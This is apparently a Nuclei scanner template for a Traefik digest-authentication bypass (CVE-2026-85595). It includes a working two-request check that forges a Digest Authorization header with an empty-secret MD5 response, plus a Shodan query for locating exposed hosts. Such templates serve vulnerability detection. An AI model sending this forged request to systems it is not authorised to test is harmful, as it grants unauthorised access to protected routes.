Description
Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
id: CVE-2026-85595
info:
name: Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass
author: Boreas37
severity: critical
description: |
Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
impact: |
Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.
remediation: |
Update to version 2.11.55 or later.
reference:
- https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64c
- https://github.com/containous/go-http-auth/commit/b975dcaa8c48
- https://github.com/traefik/traefik/commit/2116686308a2
- https://nvd.nist.gov/vuln/detail/CVE-2026-85595
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-85595
epss-score: 0.02451
epss-percentile: 0.84494
cwe-id: CWE-287
metadata:
max-request: 2
verified: true
vendor: traefik
product: traefik
shodan-query: http.title:"Traefik"
tags: cve,cve2026,traefik,digest,auth-bypass
flow: http(1) && http(2)
variables:
username: "traefik-poc"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 401'
- 'contains(tolower(header_1), "digest realm=")'
condition: and
internal: true
extractors:
- type: regex
name: realm
part: header
group: 1
regex:
- 'realm="([^"]+)"'
internal: true
- type: regex
name: nonce
part: header
group: 1
regex:
- 'nonce="([^"]+)"'
internal: true
- type: regex
name: opaque
part: header
group: 1
regex:
- 'opaque="([^"]+)"'
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Authorization: Digest username="{{username}}", realm="{{realm}}", nonce="{{nonce}}", uri="{{path}}", qop=auth, nc=00000001, cnonce="0a4f113b", response="{{md5(concat(":", nonce, ":00000001:0a4f113b:auth:", md5(concat("GET:", path))))}}", opaque="{{opaque}}", algorithm=MD5
matchers:
- type: dsl
condition: and
dsl:
- 'status_code == 200'
- '!contains(tolower(header), "www-authenticate")'
# digest: 490a0046304402200addc8624a98e8d1f3b8add30c353c52796d28b00997757a9267fcc5487ab9a7022029ca66c40a1f6162f2ff6532eaeb104a905ceb6e25bfb9f5102db18eb7227d16:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.